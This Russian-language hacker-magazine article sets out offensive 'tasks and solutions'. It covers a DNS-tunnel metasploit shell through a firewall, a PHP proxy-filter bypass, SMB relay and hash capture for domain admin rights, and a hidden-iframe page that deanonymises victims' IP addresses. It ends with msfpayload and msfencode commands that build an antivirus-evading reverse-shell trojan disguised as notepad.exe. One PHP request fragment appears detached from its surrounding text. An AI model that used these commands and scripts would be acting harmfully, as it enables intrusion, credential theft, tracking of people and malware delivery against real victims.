Содержание статьи
- Задача: Залить шелл-код на взломанный сервер при активном файрволе с жесткими ограничениями
- Решение
- Пример использования
- Задача: Скачать файл с интернета, если на прокси закрыт доступ на скачку exe, zip, dll и т.п.
- Решение
- Задача: Получить права администратора домена
- Решение
- Задача: Определить какая cms используется на сайте и технологии ее разработки.
- Решение
- Задача: определить ip-адрес человека.
- Решение
- Задача: Создать троян, который не обнаруживается антивирусами.
- Решение
Задача: Залить шелл-код на взломанный сервер при активном файрволе с жесткими ограничениями
Решение
Firewall’ы относятся к основным средствам защиты при работе в сети. Сейчас они используются повсеместно, встраиваются в ОС, хотя некоторые из них скорее создают иллюзию безопасности. При взломе они создают множество неудобств, например, за счет ограничений открытых портов, на которые можно повесить шелл, или запрещают исходящие соединения, лишая нас возможности заюзать backconnect шелл. Поэтому приходится работать с тем, что доступно. К примеру, DNS. Он очень редко блокируется или фильтруется, но при этом доступен всем пользователям (а то как же без него ползать по инету). Вот этим-то мы и воспользуемся.
Есть прекрасная технология для организации туннеля посредством DNS, и программулина к ней — dnscat (что-то вроде аналога netcat). Идея же заключается в следующем: У нас есть DNS сервер example.com
, а любые запросы на поддомены от клиента будут приходить на него. Таким образом, клиент может пересылать на сервер информацию запросом somedata.example.com, сервер же может отвечать на нее в теле DNS-ответа. Объем передаваемой информации невелик — около 150 байт за запрос, но это не очень мало с учетом того, что со стороны все выглядит вполне легитимно. Сервер сам по себе не может подключаться к клиенту, так как это не предусмотрено протоколом, потому для активного взаимодействия клиент должен подключаться через определенные промежутки времени.
Но это уже давняя технология, так что же в ней нового?!
А новое то, что совсем недавно хороший человек по имени Ron запихнул dnscat в шеллкод! И что еще более приятно — запихнул его в metasploit. Модуль еще находится на стадии тестирования и имеет ряд ограничений, но пользоваться им уже можно. Только представь себе, какие возможности открываются! Итак, нам потребуется:
1. Скачать и установить metasploit.
2. Скачать модуль по ссылке: skullsecurity.org/blogdata/dnscat-shell-win32.rb (или найти его на DVD).
3. Скопировать его в директорию metasploit’а modules/payloads/singles/windows/.
4. Так как dnscat-сервер еще не реализован в metasploit’е, его требуется запускать отдельно следующим образом:
- скачать dnscat (skullsecurity.org/wiki/index.php/Dnscat);
- запустить сервер на прослушку командой sudo ./dnscat –listen;
Пример использования
1. Подгружаем эксплойт:
msf > use exploit/windows/http/icecast_header
2. Прикрепляем к нему dnscat-шелл:
msf exploit(icecast_header) > set PAYLOAD windows/dnscatshellwin32
PAYLOAD => windows/dnscat-shell-win32
3. Определяем нашу цель:
msf exploit(icecast_header) > set RHOST 192.168.0.2
RHOST => 192.168.0.2
4. Выбираем DNS-сервер:
msf exploit(icecast_header) > set DOMAIN example.org
DOMAIN => example.org
5. Запускаем эксплойт:
msf exploit(icecast_header) > exploit
После чего на dnscat-сервер будет произведено «подключение» от клиента, т.е. получен полноценный шелл. Если у тебя нет своего сервера с DNS, но очень хочется протестировать работу, можешь поменять primary dns на свой IP в конфигах на атакуемой машине.
Задача: Скачать файл с интернета, если на прокси закрыт доступ на скачку exe, zip, dll и т.п.
Решение
Бдящие админы, борясь с лишним трафиком и нелегальным использованием рабочего инета, а также оберегая пользователей от самих себя, часто прибегают к урезанию возможности скачивания, фильтруя -exe, -zip, -dll и так далее на proxyсервере. Как говорится, рубят топором, что реально мешает работать. Проблема тривиальная, а потому решений имеет довольно много. Вот парочка основных:
1. Воспользоваться открытыми файлообменниками.
Файлообменников сейчас много, даже очень, и многие из них предоставляют отличную возможность — закачивать файлы с удаленных серверов. Прописываешь путь до файла — и все. В течение пары минут он скачается и будет доступен через файлообменник. Вот только тут есть подвох — многие из них оставляют расширение файла. К тому же большинство требует регистрации.
2. Создать свой «файлообменник».
Хотя, скорее, это будет конвертер. Суть будет такова: мы передаем скрипту на нашем сервере путь до файла, который требуется скачать, что он и делает. А после выдает нам ссылку c каким-нибудь удобным для нас расширением, jpeg или pdf, к примеру. Реально мы скачиваем exe, а в логах proxy будет отмечен jpeg.
Нам понадобится достаточно хороший хостинг c поддержкой php и директивы «allow_url_fopen» в php.ini, которая даст возможность скачивать файлы с удаленных ресурсов.
Минимальный исходник:
<?php
echo GET[‘l’].».».$_GET[‘t’].»<br>»; //выводим URL файла откуда скачиваем
$name=rand(1,100); //задаем случайное имя итоговому файлу
$file = file_get_contents($_GET[‘l’].».».$_GET[‘t’]); // скачиваем файл
$fp=fopen(«$name.jpg»,»wb»);//создаем файл на хостинге
fputs($fp,$file);//заполняем его
fclose($fp);
echo «<a href=$name.jpg>download</a>»;//выводим ссылку на него
?>
Готово! Для использования пишем в адресной строке:
http://127.0.0.1/jpg.php?l=http://download.qip.ru/qip8095&t=exe
И нам выводится ссылка на файл. Качаем и переименовываем.
В общем-то, все. Хотя у этого метода есть ограничения: на размер скачиваемого файла или время скачивания. Но это все обходится в php.ini. Скрипт, конечно, можно «расширить и углубить», так что сразу посмотри модуль php curl, который увеличит возможности по скачиванию файлов.
Задача: Получить права администратора домена
Решение
Админские права — святая святых и получить их — благое дело. Способов — масса, но я напомню тебе парочку классических. Особенно приятно то, что они есть в нашем любимом metasploit’е.
1. smb relay.
Да, старый добрый smb relay. Этому виду атак уже больше 10 лет, а все из-за в криптографических проблем, проблем в дизайне NTLM-протокола, а также глубины, с которой он вшит в ОС. Каждый год исследователи придумывают с ним что-то новенькое.
Напомню тебе (если вдруг ты запамятовал), что smb relay — это классическая man-n-middle атака, т.е. хакер заставляет свою жертву аутентифицироваться на подконтрольном ему хосте и пересылает эту информацию на сервер, которым хочет завладеть. За счет данных действий хакер получает доступ к серверу с правами жертвы.
Теперь по порядку:
- Хакер (attacker) заставляет свою жертву (victim) подсоединиться к себе.
- Хакер подключается к серверу (target) и получает от него случайный 8-байтовый запрос.
- Хакер передает этот запрос жертве.
- Жертва отвечает хакеру хешем пароля.
- Хакер пересылает его на сервер и получает доступ к серверу с правами жертвы.
Также существует вариация, когда сервером является сама жертва, но данная возможность была пофиксена Microsoft 2 года назад. Как уже было сказано, в Metasploit’е существует модуль, реализующий smb relayатаку. Делаем это через web-интерфейс:
- Выбираем эксплойт Microsoft Windows SMB Relay Code Execution.
- Выбираем payload. Например, generic/shell_bind_tcp.
- Выставляем LPORT, то есть куда будет коннектиться шелл после запуска.
- Стартуем SMBHOST с ip-адресом сервера, к которому хотим получить доступ.
- Запускаем эксплойт.
Теперь, когда наша жертва подсоединится к нашему поддельному smb-серверу, вся информации по аутентификации перенаправится на smb-host и мы получим необходимый доступ.
2. Использовать smb sniffer.
У smb relay есть небольшой недостаток — она не сохраняет используемые хеши, чтобы их можно было потом расшифровать. Как раз для этих целей, чтобы в итоге получить пароль админа, мы можем использовать модуль metasploit’а — capture/smb. Пример:
1. Подгружаем снифер:
msf > use auxiliary/server/
capture/smb
2. Запускаем его
msf auxiliary(smb) > run
Главное же отличие от smb relay то, что в smb-снифере используется определенный «случайный запрос», а именно 1122334455667788, что позволяет взломать пароль на основе радужных таблиц. В smb relay же он генерируется случайно.
Остается последний вопрос, как же заставить жертву подсоединиться к твоему серверу? Все достаточно просто. Из старых методов: требуется либо послать e-mail, либо сгенерировать html-страничку со ссылками на твой ресурс такого вида:
<img src="\\Attacker\SHARE\file.jpg">
Когда админ зайдет на нее, браузер захочет автоматически подгрузить изображение, а для этого ему придется аутентифицироваться на твоем сервере.
Из новенького и, для большей скрытности, можно использовать XSS уязвимости, коих развелось предостаточно в последнее время, или атаки по DNS, ARP. Если захочешь лучше разобраться в теме, почитай securitylab.ru/contest/212100.php и securitylab.ru/analytics/362448.php:
$request .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1; MyIE2)\r\n";
$request .= "Host: " . $host . "\r\n";
$request .= "Content-length: ". strlen($cmd) . "\r\n";
$request .= "Connection: Keep-Alive\r\n";
$request .= " Cache-Control: no-cache\r\n";
$request .= "\r\n";
$request .= $cmd . "\r\n";
$socket = fsockopen($host, $port ? $port : 80);
fputs($socket, $request);
while(!feof($socket))
echo fgets($socket, 1024);
fclose($socket);
}
?>
3. Запускаем его следующим образом:
http://localhost/input.php?host=www.example.com&script=index.php?page=&cmd=phpinfo()
4. Наслаждаемся результатом :).
Задача: Определить какая cms используется на сайте и технологии ее разработки.
Решение
Данный вопрос задается очень часто. Для начала стоит вручную научиться определять хотя бы основные cms. Способ прост: выискиваем стандартные сигнатуры на сайте и, используя Google, находим название cms вплоть до версии.
Искать следует в следующих местах:
- Информация в html-ках сайта.
- Поиск типичных путей к стилям и java-скриптам.
- Файл robots.txt.
- Внешний вид ссылок.
- Анализ http-заголовков и cookies.
- Вид ошибочных страниц (ERROR404).
Но, руками-то — хорошо, да лень-матушка, а потому из автоматизированных средств могу посоветовать тебе следующие сайты:
Они покажут тебе cms, фрэймворки, языки, используемые на сайте со ссылками и описаниями. Быстро и просто, но частенько ошибаются, потому лучше использовать все вместе.
Существует также аддон Wappalyzer к firefox’у. Выводит чуть меньше информации, зато более точно, так как база обновляется достаточно часто.
Хотя алгоритм у них слабенький и скрыться от него не составляет труда. Можешь увидеть это на примере Wappalyzer. Для этого нужно:
- Скачать Wappalyzer.
- Переименовать в zip и разархивировать.
- Посмотреть файл «\chrome\content\overlay.js».
Задача: определить ip-адрес человека.
Решение
Очень часто появляется необходимость вычислить кого-то в Интернете. Сделает тебе кто-то гадость — и очень хочется его найти. Но это и просто, и трудно одновременно. Технологии tcp/ip и интернет предоставляют множество возможностей для анонимного серфинга, потому многое зависит от уровня пользователя, которого надо вычислить. Если тебе вычислять никого не надо, то эта информация будет полезна для сохранения твоей анонимности. Ограничим задачу и условимся, что требуется определить IP пользователя, который использует прокси и/или находится за NAT. Технология такова.
Используя социальную инженерию или, например, XSS дырку в каком-нибудь сайте, мы подкидываем нашей жертве линк на «наш» сервер. Жертва на него переходит и мы получаем ее IP. Причем «нашим» сервером может быть, к примеру, тот же сервер с XSS-дыркой, при определенных условиях. Ты, наверное, уже много читал статей о том, как получать PHP-заголовки от запроса пользователя и, анализируя их, узнать IP пользователя. Но это все возможно, только если прокси не анонимный и человек находится не за NAT’ом. Иначе — мы в обломе. Что же делать?
Есть решение! И опять нам поможет Metasploit. А если быть точнее, то их проект Decloak: DeAnoynmized.
Итак, все, что нам теперь требуется — это найти хостинг с поддержкой php (или аналогичного языка) и создать скрипт примерно такого вида:
<?php $id=md5("blablabla" . $_SERVER['REMOTE_ADDR'] .
$_SERVER[‘REMOTE_PORT’] . time() . " blablabla ");
$log= $id."-".$_SERVER['REMOTE_ADDR']."\r\n";
$fp=fopen("iplog.txt","a");//создаем файл на хостинге
fputs($fp, $log); //заполняем его
fclose($fp);
?>
<html><head><meta http-equiv="Content-Type" content="text/
html; charset=utf-8" />
<title>Мое фото</title></head><body>
<p><img src="001.gif" width=»200» height="153" /></p>
<iframe src=»http://decloak.net/decloak.html?cid=<?php echo
$id; ?>&word=0&itunes=0&quicktime=0" width="0" height="0"
scrolling="no"></iframe> </body></html>
В итоге, жертва, заходя на данную страницы, будет видеть поставленный тобой рисунок, а браузер в скрытом фрэйме передаст необходимую информацию на decloak.net/decloak.html. IP жертвы ты сможешь получить зайдя на decloak.net/report.html?cid=<unicid>&format=text
Где <unicid>
— это уникальный 32 байтный id для идентификации запроса. Его ты можешь взять из файла iplog.txt, который логируется скриптом в виде:
d50712b92c93b98d063735612a6b78ea-127.0.0.1
уникальный id — IP жертвы, при коннекте
&word=0&itunes=0&quicktime=0
Данная строка в запросе ограничивает некоторые технологии, используемые decloak’ом для определения IP-адреса, но которые избавляют от палева в виде запроса на скачку файла или окошка об установке плагина.
Если тебе требуется разово узнать IP, например, через XSS, то надо запихнуть на уязвимый сайт только, подставив 32-байтный набор символов из головы:
<iframe src=http://decloak.net/decloak.html?cid=<unicid>&word=0&
itunes=0&quicktime=0 width=0 height=0 scrolling=no></iframe>
А потом ручками вытащить инфу по данному ID.
Чтобы наш скрипт был более неприметным, стоит заменить его расширение на jpeg, например, а в .htaccess на сервере выставить директивы, чтобы jpegфайлы воспринимались как php.
AddHandler application/x-httpd-php .jpeg
Кстати людям, пользующимся Tor-ом, можно не беспокоиться о поддержании свой анонимности в сети — при стандартных настройках используемые методы не смогут обнаружить ваш настоящий IP-адрес.
Описание используемых технологий, а также примеры реализации, если захочешь сделать полностью свой деанонимайзер, можешь почитать на decloak.net.
Задача: Создать троян, который не обнаруживается антивирусами.
Решение
Затроянить кого-нибудь — дело хорошее и нужное. Но очень часто антивирусы мешают. Старые, проверенные средства жестко палятся. Путей решения это проблемы несколько.
1. Взять старый троян и воспользоваться каким-нибудь криптором. Но антивирусные конторы следят за появлением паблик-крипторов, потому выжать из этого можно немного.
2. Взять исходник чужого трояна и изменить его.
3. Написать свой троян, как говорится, «с нуля». Это путь долгий и тернистый, но даст почти 100% результат.
4. Чтобы не перетруждать себя и заняться другими полезными делами, воспользуемся следующим методом. Нам потребуется Metasploit.
У Metasploit’а есть одна приятная возможность: использовать его не полностью, а только какие-то его части. Что, к примеру, позволяет использовать шелл-коды Metasploit’а с эксплойтами, которых в нем нет.
msfpayload windows/shell/reverse_tcp LHOST=192.168.146.128,L
PORT=5555 X > reverse.exe
Здесь, не запуская mfsconsole, мы сразу из консоли обращаемся к модулю Metasploit’а с payload’ами.
И создаем exe-шник с шеллом, который после запуска подконнектится на 5555 порт хоста с 192.168.146.128. “X” — указывает модулю, что на выходе должен быть получен exe-файл. Также поддерживаются:
- C — код на языке СИ
- P - код на Perl
- J - код на JavaScript
- V - код на VBA
- y - код на Ruby
- R — машинный код
Троян готов. Создаем сервер, куда будет коннектиться наш шелл. Для этого пишем:
msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.146.128 LPORT=5555 E
Где msfcli — интерфейс командной строки Metasploit’а.
Теперь, после запуска reverse.exe жертвой, его комп подключится к нам на 5555 и мы получим консольный доступ с правами жертвы. Все бы хорошо, но сигнатуры большинства стандартных payload’ов Metasploit’а есть почти во всех антивирусах.
Их не добавил, наверное, только самый ленивый. Потому reverse.exe определяется аж 21 антивирем из 41, что показывает тест с virustotal.com (см. скриншот). Что же делать? Воспользоваться еще одним модулем Metasploit’а — msfencode. Если попростому, то он изменяет разными способами код шеллов и эксплойтов, чтобы те
не обнаруживались антивирусами, чтобы затруднить реверс-инжиниринг. Для нашей задачи отлично подходит. Пишем:
msfpayload windows/shell/reverse_tcp LHOST=192.168.146.128,L
PORT=5555 R | msfencode -c 5 - e x86/shikata_ga_nai -x notepad.
exe -t exe > reverspad.exe
Здесь модуль msfpayload используется аналогичным образом, но итоговый формат — машинный код, который может воспринимать msfencode. Параметры:
-c 5 -e x86/shikata_ga_nai
— (5 раз) мы закодируем наш шелл методом shikata_ga_nai:
-x notepad.exe
— msfencode совместит наш шелл-код с какой-либо другой
программкой. Для примера, не забудь кинуть notepad.exe в папку, из которой
запускаешь команды.
-t
— задает выходной формат, т.е. executable.
Совмещение файлов происходит следующим образом. Msfencode — читает PE-заголовок файла, к которому мы прикрепляем наш код, находит .text секцию и добавляет в нее наш код. Затем меняет входной адрес для exe-шника, потому сначала запускается код.
В итоге мы получаем следующие бонусы. Во-первых, рабочий шелл-код, во-вторых, полученный reverspad.exe будет точь-в-точь похож на notepad.exe. То есть ярлычок, информация о производителе и размер до байта будут одинаковыми.
Разница будет заметна только если посмотреть хеш файла. И, самое главное, большинство антивирусов не смогут теперь определить наш троян. Если точнее, то reverspad.exe определяется как вирь только двумя антивирусами. И это только начало, если помучить msfencode, то можно получить и куда лучшие результаты.